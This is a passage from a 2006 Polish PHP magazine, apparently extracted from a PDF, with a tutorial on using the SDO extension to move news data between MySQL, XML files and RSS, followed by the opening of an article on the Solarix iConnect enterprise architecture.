nuksem) lub extension=php_sdo.dll

i extension=php_sdo_das_xml.dll (pod

Windows).

Eksport danych z bazyDuża część aplikacji WWW, a w szególno-

ści systemy intranetowe i extranetowe wy-

mieniają dane z rozwiązaniami klasy ERP

czy CRM. Wymiana może następować

poprzez pliki (np. CSV czy XML), bezpo-

średni dostęp do bazy, Web Services oraz

przy użyciu innych metod. Najpopularniej-

Rysunek 1. Architektura SDO

Listing 1. Instrukcje SQL-owe tworzące bazę newsów dla MySQL-a

/****************************************

* tabela z grupami newsów

*

*****************************************/

create table news_groups (

ng_id int(11) not null auto_increment,

ng_name varchar(100) not null,

ng_description text,

primary key (ng_id)

);

/****************************************

* tabela z newsami, która zawiera relację do news_groups

*

*****************************************/

create table news_contents (

nc_id int(11) not null auto_increment,

ng_id int(11) not null,

nc_subject varchar(100) not null,

nc_lead text,

nc_content text not null,

primary key (nc_id)

);

Listing 2. Mappingi dla dwóch tabel: news_groups ($newsGroupsMap) oraz news_contents ($newsContentsMap)

<?php

$newsGroupsMap = array (

'name' => 'news_groups',

'columns' => array( 'ng_id', 'ng_name', 'ng_description' ),

'PK' => 'ng_id'

);

$newsContentsMap = array (

'name' => 'news_contents',

'columns' => array( 'nc_id', 'ng_id', 'nc_subject', 'nc_lead', 'nc_content'),

'PK' => 'nc_id',

'FK' => array (

'from' => 'ng_id',

'to' => 'news_groups',

)

);

$newsContentsRelationsMap = array( 'parent' => 'news_groups', 'child' =>

'news_contents' );

?>

Page 36: PHPSolutions_2_2006_PL

SDO

www.phpsolmag.org36

Techniki

PHP Solutions Nr 2/2006

szym obecnie sposobem wymiany danych

są pliki XML.

Koncepcja projektu

Pokażemy, jak łatwo możemy napisać

korzystające z SDO skrypty służące do

eksportu danych z relacyjnej bazy danych

do plików XML. W przykładzie tym posłu-

żymy się wiedzą zdobyta w poprzednim

artykule o SDO. Wykorzystamy też sche-

mat bazy danych z Listingu 1. Pobierzemy

dane z bazy korzystając z klasy SDO_DAS_

Relational, która odpowiada w SDO za

komunikację z bazami danych. Następnie

zapiszemy otrzymane dane do pliku XML

przy pomocy SDO_DAS_XML, klasy odpowie-

dzialnej za obróbkę plików XML w rozsze-

rzeniu SDO.

Jak zacząć, czyli o mappingach

Dzięki temu, że architektura SDO jest lo-

gicznie podzielona na dwa typy obiektów:

odpowiadające za strukturę i operacje

na danych, przenoszenie tych samych

obiektów zawierających dane pomiędzy

różnymi źródłami jest łatwe. Jedyne,

czego potrzebujemy do poprawnego

działania takiego rozwiązania to mappingi,

które musimy stworzyć dla każdego źródła

danych z osobna. Na Listingu 2 przedsta-

wiamy mapping dla relacyjnej bazy da-

nych. Jego budowę opisaliśmy dokładnie

w poprzednim artykule o SDO. Dla tych,

którzy go nie czytali, przypomnimy reguły

tworzenia tego mappingu:

� każda tabela bazodanowa, z którą

kontaktujemy się poprzez SDO, musi

mieć swój mapping,

� mapping składa się z tablic asocja-

cyjnych, w każdym mappingu muszą

znaleźć się: informacja o nazwie ta-

blicy, z którą jest on związany (klucz

name), lista kolumn (klucz columns),

nazwa pola klucza głównego (klucz

PK); klucz główny nie może być wielo-

polowy,

� jeżeli pomiędzy tabelami istnieje rela-

cja, tabela podrzędna musi posiadać

w mappingu pole FK zawierające in-

formacje o tabeli, do której jest relacja

(klucz to) i kolumnę, która defi niuje tę

relację (klucz from); dodatkowo, trze-

ba stworzyć tablice relacji.

Na pierwszy rzut oka, reguły te mogą wy-

dawać sie bardzo skomplikowane. Przy-

kład z Listingu 2 powinien jednak rozjaśnić

ewentualne wątpliwości. Poza tym, jeżeli

stworzymy mapping, który zawiera błę-

dy, SDO poinformuje nas o tym poprzez

zgłoszenie wyjątku z odpowiednim opisem

wskazującym nam miejsce wystąpienia

pomyłki. Nie musimy się więc martwić,

że niepoprawnie stworzony mapping bę-

dzie powodował błędne działanie całego

skryptu.

Na Listingu 3 pokazujemy operacje,

jakie należy wykonać, aby pobrać drzewo

obiektów SDO z bazy danych. Są to trzy

działania: nawiązanie połączenia z bazą

danych przy pomocy klasy PDO, inicjacja

klasy SDO_DAS_Relational i wywołanie

metody executeQuery() na obiekcie klasy

SDO_DAS_Relational. Na skutek użycia

tej ostatniej metody otrzymamy drzewo

obiektów SDO, które następnie zapiszemy

w pliku XML. Najpierw jednak musimy

stworzyć mapping dla klasy SDO_DAS_

XML. Pamiętajmy, że SDO_DAS_Relational

jest klasą napisaną w PHP i aby była ona

widoczna, musimy w naszym skrypcie

dołączyć plik Relational.php, który jest do-

stępny wraz z rozszerzeniem SDO.

W przypadku rozszerzenia XML

mappingiem jest plik XML Schema. Na

Listingu 4 przedstawiamy plik XML Sche-

ma dla naszego przykładu. Budowanie

plików XML Schema zostało omówione

pod adresem http://www.w3schools.com/

schema/default.asp, a takżę w książce

zat. XML Schema wydawnictwa O'Reilly,

której autorem jest Eric van der Vlist.

W naszym przykładzie plik XML Sche-

ma składa się z trzech typów. Pierwszy

z nich, SDO_DAS_Relational_RootType,

zawiera listę wszystkich grup newsów, jest

więc pewnego rodzaju kontenerem. Dru-

gi, noszący nazwę news_groups, opisuje

Listing 3. Skrypt pobierający grupy newsów wraz z poszczególnymi

wiadomościami z bazy danych

<?php

require_once 'Relational.php';

/* tu wstawiamy defi nicję mappingu dla bazy danych */

$dbConnection = new PDO('mysql:host=localhost;dbname=nazwa_bazy_danych','użytkownik','hasło');

$das = new SDO_DAS_Relational( array($newsGroupsMap,$newsContentsMap), 'news_groups',

array( $newsContentsRelationsMap ) );

$root = $das->executeQuery($dbConnection, 'select * from news_groups, news_contents where

news_groups.ng_id=news_contents.ng_id', array( 'news_groups.ng_id', 'news_groups.ng_name',

'news_groups.ng_description', 'news_contents.nc_id', 'news_contents.nc_subject',

'news_contents.nc_lead', 'news_contents.nc_content' ) );

?>

Listing 4. Plik XML Schema zawierający defi nicję formatu pliku XML do którego

będą eksportowane dane z bazy danych newsów

<?xml version="1.0" encoding="UTF-8"?>

<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"

xmlns:newsgroups="das_namespace"

targetNamespace="das_namespace">

<xsd:element name="newses" type="newsgroups:SDO_DAS_Relational_RootType"/>

<xsd:complexType name="SDO_DAS_Relational_RootType">

<xsd:sequence>

<xsd:element name="news_groups" type="newsgroups:news_groups"

maxOccurs="unbounded"/>

</xsd:sequence>

</xsd:complexType>

<xsd:complexType name="news_groups">

<xsd:sequence>

<xsd:element name="news_contents" type="newsgroups:news_contents"

maxOccurs="unbounded" />

</xsd:sequence>

<xsd:attribute name="ng_name" type="xsd:string"/>

<xsd:attribute name="ng_description" type="xsd:string"/>

</xsd:complexType>

<xsd:complexType name="news_contents" mixed="false">

<xsd:attribute name="nc_subject" type="xsd:string"/>

<xsd:attribute name="nc_lead" type="xsd:string"/>

<xsd:attribute name="nc_content" type="xsd:string"/>

</xsd:complexType>

</xsd:schema>

Page 37: PHPSolutions_2_2006_PL

SDO

www.phpsolmag.org 37

Techniki

PHP Solutions Nr 2/2006

atrybuty pojedynczej grupy i zawiera listę

wszystkich newsów związanych z daną

grupą. Trzeci typ, news_contents, opisuje

atrybuty pojedynczego newsa. Nazwa

pierwszego typu musi odzwierciedlać typ

korzenia drzewa obiektów SDO pobranego

z bazy danych. Nazwą typu tego korzenia

jest właśnie SDO_DAS_Relational_RootType.

Nazwy pozostałych typów odpowiadają na-

zwom tabel z bazy danych, co wprawdzie

nie jest koniecznie, ale jest zalecane ze

wzgędu na przejrzystość i czytelność kodu.

Tworząc plik XML Schema warto po-

służyć się specjalnie do tego stworzonym

edytorem, takim jak darmowy Eclipse

z pluginem Web Tools Platform.

Na Listingu 5 przedstawiamy kod od-

powiedzialny za zapisanie pobranego z ba-

zy danych drzewa obiektów SDO do pliku

XML, czyli wykonanie eksportu danych

z bazy do innego źródła. Jak widzimy, kod

składa się z trzech linii. W pierwszej z nich

tworzymy obiekt klasy SDO_DAS_XML

korzystając z jej metody statycznej o na-

zwie create(). Metoda ta wymaga poda-

nia jednego parametru, którym jest ścieżka

dostępu i nazwa mappingu. W naszym

przypadku jest to plik, którego zawartość

pokazaliśmy już na Listingu 4.

W drugiej linii pozyskujemy z drzewa

informacje o typie korzenia, które są nam

potrzebne przy zapisie drzewa. Wreszcie,

w trzeciej linii zapisujemy dane do pliku

XML. Osiągamy to za pomocą metody

saveDataObjectToFile(). Wymaga ona

podania czterech parametrów. Pierw-

szym jest drzewo obiektów SDO, drugi

to URI schematu, a trzeci stanowi nazwę

typu danych, który jest nadrzędny wobec

wszystkich innych, czyli korzenia drzewa.

Z kolei czwarty parametr to nazwa pliku,

w którym mają być zapisane dane. Jeżeli

plik nie istnieje, to zostanie utworzony. Je-

żeli natomiast istnieje, to wszystkie zgro-

madzone w nim dane zostaną nadpisane.

SDO_DAS_XML posiada jeszcze trzy inne

metody do serializacji danych zgromadzo-

nych w obiektach SDO:

� saveDataObjectToString – zamiast do

pliku zapisuje dane (obiekt klasy SDO _

DataObject) do zmiennej łańcuchowej,

� saveDocumentToFile – zapisuje do

pliku obiekt klasy SDO _ DAS _ XML _

Document,

� saveDocumentToString – zapisuje do

zmiennej łańcuchowej obiekt klasy

SDO _ DAS _ XML _ Document.

Jak widać na omówionym przykładzie, po-

między pobraniem danych z bazy a ich za-

pisem w pliku XML nie dokonaliśmy w nich

żadnych zmian. W szczególności, nie zmo-

dyfi kowaliśmy struktury danych. Oczywi-

ście, musimy dokonać takich zmian, jeżeli

plik XML nie ma być idealnym odzwiercie-

dleniem bazy danych i będzie zawierał np.

dodatkowe, niewystępujące w bazie da-

nych informacje, albo jego struktura będzie

inna. Jeżeli jednak tak nie jest, to eksportu

danych możemy dokonać w kilku linijkach

kodu. Co ciekawe, procedura importu, którą

pokazujemy na Listingu 6 jest prawie iden-

tyczna. Odwrócona jest jedynie kolejność

wykonywania operacji: dane są najpierw

ładowane z pliku XML do obiektów SDO,

a następnie, po skopiowaniu do nowego

drzewa, zapisywane w bazie danych.

Import danychz pliku XML Import danych z pliku XML nie już tak pro-

stym zadaniem. Powód jest następujący.

Zapisując dane do bazy, klasa SDO_DAS_

Relational korzysta z funkcjonalności

obiektów SDO polegającej na zapamię-

tywaniu wszystkich zmian przeprowadzo-

nych na drzewie obiektów. Zapisywanie

zmian dotyczy wszystkich wykonywanych

na drzewie operacji. Listę tych operacji

możemy podejrzeć wywołując (najlepiej na

korzeniu) metodę getChangesSummary().

Metoda ta zwróci obiekt typu SDO_

DAS_ChangesSummary, który z kolei posiada

m.in. metodę getChangedDataObjects().

To właśnie ta metoda zwraca listę wszyst-

kich zmienionych obiektów. Wracając

do problemu importu danych, drzewo

obiektów, które otrzymujemy po przeczy-

taniu pliku XML nie zawiera oczywiście

żadnych zmian. Próba zapisania tego

Listing 5. Część skryptu eksportu odpowiedzialna za zapis danych z bazy do pliku XML

<?php

/* tu wstawiamy kod z Listingu 3 */

$xmlDAS = SDO_DAS_XML::create("group.xsd");

$type = $dbRoot->getType();

$xmlDAS->saveDataObjectToFile($dbRoot,$type[0],$type[1],"export.xml");

?>

Listing 6. Skrypt importu danych z pliku XML.

<?php

function copySDOTree( $dbTree, $xmlTree )

{

if ( $xmlTree instanceof SDO_DataObject && $xmlTree->getContainer() != null )

{

$type = $xmlTree->getType();

$sdoDBObject = $dbTree->createDataObject( $type[1] );

} else {

$sdoDBObject = $dbTree;

}

foreach( $xmlTree as $propertyName => $sdoXMLObject )

{

if ( is_object( $sdoXMLObject ) )

{

copySDOTree($sdoDBObject,$sdoXMLObject);

} else {

$sdoDBObject->{$propertyName} = $sdoXMLObject;

}

}

}

require_once 'Relational.php';

/* tu wstawiamy defi nicję mappingu dla bazy danych */

$dbConnection = new PDO('mysql:host=localhost;dbname=sdo','root','');

$dbDAS = new SDO_DAS_Relational( array($newsGroupsMap,$newsContentsMap),

'news_groups', array( $newsContentsRelationsMap ) );

$dbRoot = $dbDAS->createRootDataObject();

$xmlDAS = SDO_DAS_XML::create("sdo_xml/group.xsd");

$xmlDocument = $xmlDAS->loadFromString(fi le_get_contents("export.xml"));

copySDOTree( $dbRoot, $xmlDocument->getRootDataObject() );

$dbDAS->applyChanges($dbConnection,$dbRoot);

?>

Page 38: PHPSolutions_2_2006_PL

SDO

www.phpsolmag.org38

Techniki

PHP Solutions Nr 2/2006

drzewa do bazy danych zakończy się

więc niepowodzeniem, gdyż metoda

getChangedDataObjects() zwróci wartość

null, co oznacza, że żadne obiekty nie

zostały zmienione.

Jak rozwiązać ten problem? Najlepiej

przekopiować drzewo pochodzące z pliku

XML do nowego drzewa utworzonego

przy pomocy klasy SDO_DAS_Relational.

Wydawać by się mogło, że operacja ta jest

dość skomplikowana. Na szczęście tak nie

jest: funkcja, która przekopiuje dowolne

drzewo do innego zajmuje zwykle kilkana-

ście linijek kodu. Jest tylko jeden warunek:

oba drzewa muszą być oparte na tych

samych mappingach, gdyż inaczej SDO

zgłosi wyjątek. Wymagane jest, aby nazwy

atrybutów zgadzały się z nazwami kolumn,

a nazwy typów z nazwami tabel.

Na Listingu 6 przedstawiliśmy przy-

kładowy skrypt importu dla bazy danych

newsów. Najważniejszym elementem

tej aplikacji jest metoda copySDOTree(),

która odpowiada za skopiowanie drze-

wa pochodzących z pliku XML obiektów

SDO do odpowiadającego mu drzewa,

które następnie zostanie zapisane w ba-

zie danych. Metoda ta korzysta z faktu,

że obiekty SDO implementują interfejs

Traversable, który umożliwia nam poru-

szanie się w obrębie drzewa i atrybutów

obiektów przy użyciu instrukcji foreach.

Pozostała część skryptu zawiera znane

nam już metody i operacje z poprzed-

nich przykładów. Wyjątkiem jest metoda

loadFromFile(), którą wywołujemy na

obiekcie klasy SDO_DAS_XML. Parametrem tej

metody jest nazwa pliku zawierającego da-

ne w postaci XML. Zwracana jest natomiast

instancja klasy SDO_DAS_XML_Document.

Poza drzewem SDO, zawiera ona szereg

użytecznych informacji o pliku XML, na

podstawie którego została utworzona. Pe-

łen zestaw atrybutów wraz z ich opisem

znajdziemy w dokumentacji PHP. Dla nas

najważniejsze jest, że wywołując na tym

obiekcie metodę getRootDataObject()

otrzymamy drzewo SDO pochodzące

z pliku XML.

Dla osób, które nie czytały poprzed-

niego artykułu o SDO nieznana może być

również metoda applyChanges() którą

wywołujemy na obiekcie klasy SDO_DAS_

Relational. Odpowiada ona za zapisanie

drzewa w bazie danych. Wymaga po-

dania dwóch parametrów drzewa, które

zostanie zapisane i połączenia z bazą

danych, w której drzewo ma zostać za-

chowane.

Czytnik plików RSSPublikacja wiadomości (newsów) w forma-

cie RSS stała się już prawie standardem.

PHP udostępnia przynajmniej kilka biblio-

tek do tworzenia i publikowania wiadomo-

ści tej postaci w Internecie.

My stworzymy przykład, który pokaże,

jak wykorzystać SDO do napisania modułu

do publikacji wiadomości w formacie RSS.

Wykorzystamy w tym celu naszą bazę

danych z newsami. Pierwszym, czego

będziemy potrzebować jest odpowiedni

plik XML Schema. Możemy napisać go

sami wiedząc, jaka musi być struktura

pliku RSS, lub poszukać odpowiedniego

pliku w sieci. Ja wybrałem drugą opcję

i swój plik znalazłem na stronie http://-

www.thearchitect.co.uk/schemas/rss-

2_0.xsd. Zwróćmy uwagę, że jest to plik

dla standardu RSS 2.0. Mając już plik

schematu, możemy zabrać się za tworze-

nie drzewa obiektów SDO, które następ-

nie zserializujemy do XML-a, otrzymując

w ten sposób plik z newsami w formacie

RSS 2.0.

Do pobrania danych z bazy wykorzy-

stamy skrypt z Listingu 3. Na Listingu 7

przedstawiamy natomiast skrypt tworzący

drzewo obiektów dla RSS i pozwalający

wygenerować plik RSS v2. Niestety, tym

razem kod nie jest taki prosty, jak w przy-

padku eksportu danych. Powodem tego

jest fakt, że drzewo obiektów z bazy nie

jest tożsame drzewu obiektów RSS. To

drugie ma inną strukturę i zawiera więcej

informacji. Dlatego głównym elementem

naszego skryptu jest przepisanie jednego

drzewa do drugiego oraz uzupełnienie tego

drugiego o informacje dla niego charaktery-

styczne.

Podobnie jak poprzednio, po od-

czytaniu danych z bazy korzystamy ze

statycznej metody create(), aby utworzyć

obiekt klasy SDO_XML_DAS. Następnie, przy

pomocy metody createDataObject(),

którą wywołujemy na obiekcie klasy

SDO_XML_DAS, tworzymy korzeń drzewa

obiektów SDO. W korzeniu tym będziemy

przechowywać obiekty SDO składające

się na dokument RSS.

Metoda createDataObject() wymaga

podania dwóch parametrów: URI schema-

tu oraz nazwy nadrzędnego wobec wszyst-

kich innych typu danych. Obie informacje

Listing 7. Skrypt tworzący drzewo obiektow dla RSS

<?php

header('Content-type: application/xml');

require_once 'Relational.php';

require_once 'artykul_map.php';

$dbConnection = new PDO('mysql:host=localhost;dbname=sdo','root','');

$dbDAS = new SDO_DAS_Relational( array($newsGroupsMap,$newsContentsMap),

'news_groups', array( $newsContentsRelationsMap ) );

$dbRoot = $dbDAS->executeQuery($dbConnection, 'select news_groups.ng_id,

news_groups.ng_name, news_groups.ng_description, news_contents.nc_id,

news_contents.nc_subject, news_contents.nc_lead, news_contents.nc_content from

news_groups, news_contents where news_groups.ng_id=news_contents.ng_id', array

( 'news_groups.ng_id', 'news_groups.ng_name', 'news_groups.ng_description',

'news_contents.nc_id', 'news_contents.nc_subject', 'news_contents.nc_lead',

'news_contents.nc_content' ) );

$xmlDAS = SDO_DAS_XML::create("sdo_xml/RSS20.xsd");

$xmlRoot = $xmlDAS->createDataObject("http://blogs.law.harvard.edu/RSS20.xsd","rss");

$channel = $xmlRoot->createDataObject("channel");

$channel->version = "2.0";

$channel->title = $dbRoot->news_groups[0]->ng_name;

$channel->description = $dbRoot->news_groups[0]->ng_description;

$channel->link = "http://nazwa_domeny";

$channel->language = "pl";

foreach( $dbRoot->news_groups[0]->news_contents as $index => $news_content )

{

$xmlRoot->channel->createDataObject("item");

$xmlRoot->channel->item[$index]->title = $news_content->nc_subject;

$xmlRoot->channel->item[$index]->description = $news_content->nc_lead;

$xmlRoot->channel->item[$index]->link = "http://nazwa_domeny?nc_id=".

$news_content->nc_id;

}

$type = $xmlRoot->getType();

echo $xmlDAS->saveDataObjectToString($xmlRoot,$type[0],$type[1]);

?>

Page 39: PHPSolutions_2_2006_PL

SDO

www.phpsolmag.org 39

Techniki

PHP Solutions Nr 2/2006

muszą zawsze znajdować się w pliku

XML Schema. Po utworzeniu korzenia

drzewa obiektów SDO możemy zacząc

go wypełniać właściwymi obiektami. Pierw-

szym potrzebnym obiektem będzie ten

reprezentujący informacje o kanale RSS.

W standardzie RSS informacje te zapisane

są w tagu <channel>.

Chcąc utworzyć obiekt SDO należą-

cy do drzewa, musimy wykonać na tym

drzewie metodę createDataObject().

Przekażemy jej jeden parametr: nazwę ty-

pu, który dany obiekt SDO ma reprezento-

wać. W tym przypadku jest to typ channel.

Wszystkie zmienne, które zostały przypisa-

ne utworzonemu w taki sposób obiektowi

w mappingu, stają się jego zmiennymi

publicznymi.

Jeżeli będziemy próbowali odwołać się

do zmiennej, która nie jest zdefi niowana

w mappingu, SDO zgłosi wyjątek. Po utwo-

rzeniu obiektu SDO dla tagu <channel>

uzupełniamy go o kilka potrzebnych infor-

macji, takich jak nazwa i opis kanału oraz

język, w którym publikowane są wiadomo-

ści w tym kanale. Podczas serializacji do

XML-a, wartości zapisane w tych zmien-

nych zostaną zapisane (w zależności od

defi nicji w mappingu) jako atrybuty znacz-

nika <channel> lub niezależnych tagów

znajdujących się wewnątrz <channel>.

Kolejnym krokiem jest utworzenie

listy obiektów, które będą reprezentowały

newsy z naszej bazy danych. W stan-

dardzie RSS wiadomości grupowane są

wewnątrz znacznika <channel>, a para-

metry wiadomości otoczone są tagiem

<item>. Defi nicja wszystkich parametrów

wiadomości dostępna jest w pliku XML

Schema. Jeżeli tagi <item> są podrzędne

wobec znacznika <channel>, to obiekty

SDO item muszą być podrzędne w sto-

sunku do obiektu zawierającego informa-

cje o kanale. Aby tak było, na obiekcie

channel wykonujemy w pętli metodę

createDataObject() z parametrem item.

W ten sposób przepiszemy wszystkie

newsy do drzewa SDO. Dla uproszczenia

zajmiemy się jedynie newsami z grupy,

która została pobrana jako pierwsza z ba-

zy danych. Nic nie stoi na przeszkodzie,

aby np. numer grupy był parametrem

skryptu. W ten sposób będziemy mogli

stworzyć skrypt, który będzie tworzył plik

RSS dla różnych grup newsów w sposób

dynamiczny. Problem ten możemy rów-

nież na inne sposoby, np. parametryzując

zapytanie do bazy danych.

Ostatnią operacją, jaką wykonuje-

my, jest serializacja drzewa obiektów do

XML-a. Tym razem posłużymy się metodą

saveDataObjectToString().

Dużą prostszą operacją jest czytanie

plików RSS i tworzenie drzew SDO na

ich podstawie. Skrypt, który ma mieć taką

funkcjonalność, będzie się składał z zale-

dwie dwóch linii kodu. W pierwszej z nich

utworzymy obiekt klasy SDO_DAS_XML z od-

powiednim mappingiem, a w drugiej od-

czytamy plik korzystając z loadFromFile().

Plikiem może być również link do ze-

wnętrznej strony internetowej. Pozwala

nam to na agregowanie newsów z różnych

serwisów na naszej witrynie.

PodsumowanieSpośród licznych funkcji, które posiada

SDO, nie pokazaliśmy dwóch, o których

warto wspomnieć. Pierwszą z nich jest

możliwość przeszukiwania drzewa SDO

w standardzie XPath. Drugą jest zapisy-

wanie obiektów SDO w sesji. Pozwala to

odczytać obiekt z bazy, pokazać go na for-

mularzu edycji i zapisać w sesji w ramach

jednego żądania (ang. request).

Następnie, gdy będziemy zapisywać

obiekt z formularza, wystarczy pobrać go

z sesji, zmienić jego parametry i zapisać

w bazie. Dzięki temu będziemy mieli pew-

ność, że zapisujemy ten sam obiekt, który

odczytaliśmy, co uczyni naszą aplikację

odporniejszą na próby włamania.

Przedstawiliśmy Wam solidne podsta-

wy SDO, stosowanego zarówno wobec

baz danych, jak i plików XML. Wzbogace-

nie pokazanego przez nas kodu o wspo-

mniane funkcje będzie świetnym punktem

wyjścia dla dalszego, własnoręcznego

poznawania fascynujących możliwości roz-

szerzenia SDO. �

Piotr Szarwas jest pracownikiem SUPER-

MEDIA Interactive i doktorantem na wy-

dziale Fizyki Politechniki Warszawskiej.

Od 2003 roku projektuje aplikacje WWW

w oparciu o PHP4/5. Obecnie zajmuje się

tworzeniem frameworka dla PHP oparte-

go na rozwiązaniach Hibernate i Spring.

Kontakt z autorem:

[email protected]

O autorze

R E K L A M A

Page 40: PHPSolutions_2_2006_PL

PHP Solutions Nr 2/2006

Narzędzia

www.phpsolmag.org40

Java (w wydaniu J2EE) i .NET są

traktowane jako rozwiązania, do

których odwołują się wszystkie in-

ne architektury systemów informatycznych

stosowanych w środowisku biznesowym.

Zaletą PHP jest jednakże jego ogromna

popularność. Zgodnie z danymi pocho-

dzącymi z Google, w rozwiązaniach webo-

wych PHP jest trzy razy częściej stosowa-

ny od JSP, a ogólna liczba witryn korzysta-

jących z PHP sięga ok. 17 milionów.

Co więcej, wraz z pojawieniem się

PHP5 (i Zend Engine 2), język ten nie-

specjalnie ustępuje Javie, do której upo-

dobnił się zwłaszcza pod względem mo-

delu obiektowego i systemu obsługi wy-

jątków. Można śmiało powiedzieć, iż PHP

stał się już językiem klasy Enterprise (wia-

rygodnym i nadającym się do stosowania

w świecie biznesu na większą skalę).

Brakuje mu jednakże jednego: posiada-

nej przez J2EE i .NET architektury, która

w sposob precyzyjny defi niuje sposób

określania struktury i logicznego podziału

Ileż razy zdarzało Ci się spotykać na forach

i listach dyskusyjnych stwierdzenia w rodzaju

„PHP to nie Java, tylko prosty język skryptowy.

Potrzebujemy czegoś profesjonalnego, do

tworzenia poważnych projektów”. Dzięki Solarix

iConnect możesz powiedzieć autorom tych

wypowiedzi, że się mylą i będziesz miał rację:

oto nadchodzi epoka profesjonalnej architektury

programistycznej w PHP, na miarę rozwiązań

typu J2EE czy .NET.

aplikacji, do której można by się odwoły-

wać projektując i pisząc programy.

Istniejące w świecie PHP rozwiąza-

nia nieofi cjalne, takie jak popularne ostat-

nio frameworki, przeważnie stanowią wy-

łącznie zestawy narzędzi realizujących ta-

kie zadania, jak logowanie, uwierzytelnia-

nie, kontakt z bazą danych, itd. W ramach

ich funkcjonalności nie ma przeważnie

miejsca na wspomniane kwestie związane

z architekturą czy logiką aplikacji. Nie umo-

żliwiają również korzystania z tworzonych

rozwiązań w sposób rozproszony.

Tworzenie rozwiązań klasy Enterprise przy zastosowaniu Solarix iConnectAlex Pagnoni

W SIECI

1. http://www.solarix.it/

– strona główna Solarix

2. http://phppatterns.com

– witryna o wzorcach pro-

jektowych

3. http://java.sun.com

– główna strona Javy

Co należy wiedzieć...Powinieneś znać zasady programowa-

nia obiektowego w PHP5 i mieć pojęcie

o frameworkach i wzorcach projekto-

wych. Przyda się również podstawowa

znajomość Javy.

Co obiecujemy...Dowiesz się, jak dzięki Solarix iConnect

przenieść do PHP najlepsze mechani-

zmy obiektowe z J2EE i .NET.

Stopień trudności: ���

Page 41: PHPSolutions_2_2006_PL

Solarix iConnect

PHP Solutions Nr 2/2006

Narzędzia

www.phpsolmag.org 41

ArchitekturaSolarix iConnectAby zaradzić tym problemom, opracowano

architekturę Solarix iConnect. Stanowi ona

zestaw komponentów opartych na PHP5,

w tym kontenerów i frameworków zaprojek-

towanych z punktu widzenia modularności

i programowania rozproszonego. Jest

opensourcowa i rozpowszechniana na li-

cencji Mozilla Public License, co umożliwia

jej stosowanie również w rozwiązaniach ko-

mercyjnych.

Jest poza tym wielowarstwowa (ang.

multi-tier) i zorientowana na usługi (ang.

service-oriented). Stanowi również kolek-

cję standardowych specyfi kacji i metodo-

logii służących do tworzenia aplikacji webo-

wych klasy Enterprise. Dodatkowo, iCon-

nect dziedziczy wiele mocnych punktów ar-

chitektury J2EE.

Należy sprecyzować, że z punktu wi-

dzenia architektury iConnect nie wno-

si cech ściśle przydatnych dla zaspokoje-

nia wymogów formalnych, gdyż należy to

do zadań tworzonych z jego pomocą apli-

kacji. Głównym celem architektury Solarix

iConnect jest natomiast organizacja aplika-

cji w sposób ułatwiający spełnienie wymo-

gów niefunkcjonalnych, takich jak jak skalo-

walność, łatwość obsługi, bezpieczeństwo,

modularność, itd. Są to właściwości, które

pozwalają na obsługę, dostosowanie i kon-

trolowanie aplikacji w czasie ich rozwoju.

iConnect zapewnia infrastrukturę, na bazie

której możemy tworzyć aplikacje różnego

typu, nie tylko te zorientowane na WWW.

Wielką zaletą architekury rozproszonej

jest łatwość, z jaką przychodzi zmienia-

nie warunków działania aplikacji: przy-

kładowo, przy znacznym wzroście obcią-

żenia wystarczy poprawić architekturę, bez

dokonywania modyfi kacji samej aplikacji.

Solarix iConnect ma również stanowić

spoiwo pomiędzy istniejącymi już aplikacja-

mi korporacyjnymi (np. projektami intrane-

towymi, extranetowymi czy portalami kor-

poracyjnymi), co wymaga ich integrację i

udostępnienie na WWW, a tablicami służą-

cymi do analizy sprzedaży, dostępu do da-

nych przetwarzanych przez działające już

w systemie korporacyjnym aplikacje, itd.

Skupmy się na chwilę na istniejących

aplikacjach, które musimy zintegrować

z naszym systemem. Zwykle działają na

różnego rodzaju maszynach i – co sta-

nowi poważny problem – nie komunikują

się między sobą, stanowiąc tzw. wyspy

informacyjne. Niestety, nawet gdy są

przestarzałe, często nie mogą zostać za-

stąpione nowszymi i lepiej zintegrowanymi

systemami.

Problem ten jest możliwy do rozwiąza-

nia dzięki dwóm czynnikom. Pierwszym

jest rozbudowywalność języka PHP. Liczne

rozszerzenia PHP (PECL-owe, PEAR-owe,

itd.) umożliwiają łączenie się z rozmaity-

mi bazami danych oraz innymi systema-

mi przy minimalnym wysiłku ze strony pro-

gramistów. Z kolei Solarix iConnect stawia

czoła opisanemu wyzwaniu dzięki temu,

że umożliwia ukrycie całej złożoności za-

rządzania danymi poprzez samą strukturę

swojej architektury.

Podstawowepojęcia iConnectaArchitektura iConnect została zaprojekto-

wana w celu podziału aplikacji klasy Enter-

prise na 5 współdziałających ze sobą po-

ziomów:

• warstwa zasobów (Resource tier): za-

wiera zasoby takie jak dane (data) i le-

gacy (obsługa starego oprogramowa-

nia),

• warstwa integracji (Integration tier):

zajmuje się integracja logiczną i dostę-

pem systemu do zasobów,

• warstwa biznesowa (Business tier):

grupuje komponenty odpowiedzialne

za logikę biznesową aplikacji,

• warstwa prezentacji (Presentation tier):

komponuje i publikuje zawartość udo-

stępnianą przez komponenty należące

do warstwy biznesowej,

• warstwa kliencka (Client tier): udostęp-

nia interfejs użytkownika (ang. User

Interface) i odpowiada za współpracę

z użytkownikiem.

Komponenty iConnect współdzielą jedyny

framework wykonywalny. Obejmują rów-

nież poziomy pośrednie, czyli integracji,

biznesowy i prezentacji. W warstwie za-

sobów znajdują się bazy danych, syste-

my sprzed wdrożenia iConnecta (ang. le-

gacy systems) i podobne. Poziom kliencki

jest natomiast obsługiwany przez przeglą-

darki WWW.

Architektura iConnect składa się ze

wzajemnie współdziałających bloków:

• Carthag – platforma wspólna dla ca-

łej architektury, pełni tę sama rolę co

J2SE i J2EE w architekturze Java-ba-

sed. Jest zintegrowana z runtime par-

sera PHP,

• webserwisy (ang. Web services) i licz-

ne narzędzia zwane konektorami (ang.

connectors), pozwalające na łączenie

się systemu z warstwą zasobów,

• iConnect Enterprise Application Server

(EAS) – zawiera i obsługuje logikę biz-

nesową w formie gotowych do urucho-

mienia modułów. Działa podobnie do

Enterprise Java Bin (EJB),

• iConnect Web Application Server

(WAS) – jest odpowiedzialny za uru-

chamianie i działanie aplikacji WWW

(które pracują właśnie na tym serwe-

rze), zachowując się podobnie jak se-

rvlety i JSP,

• iConnect Portal Server: organizuje

aplikacje WWW bazujące na WAS i na

modułach EAS, grupuje komponenty

i jest odpowiedzialny za logikę prezen-

tacji, stosując typowy wzorzec MVC

(Model, Widok, Kontroler).

Nie zawsze aplikacje bazujące na Sola-

rix iConnect są podzielone również na po-

ziomie implementacyjnym pomiędzy te

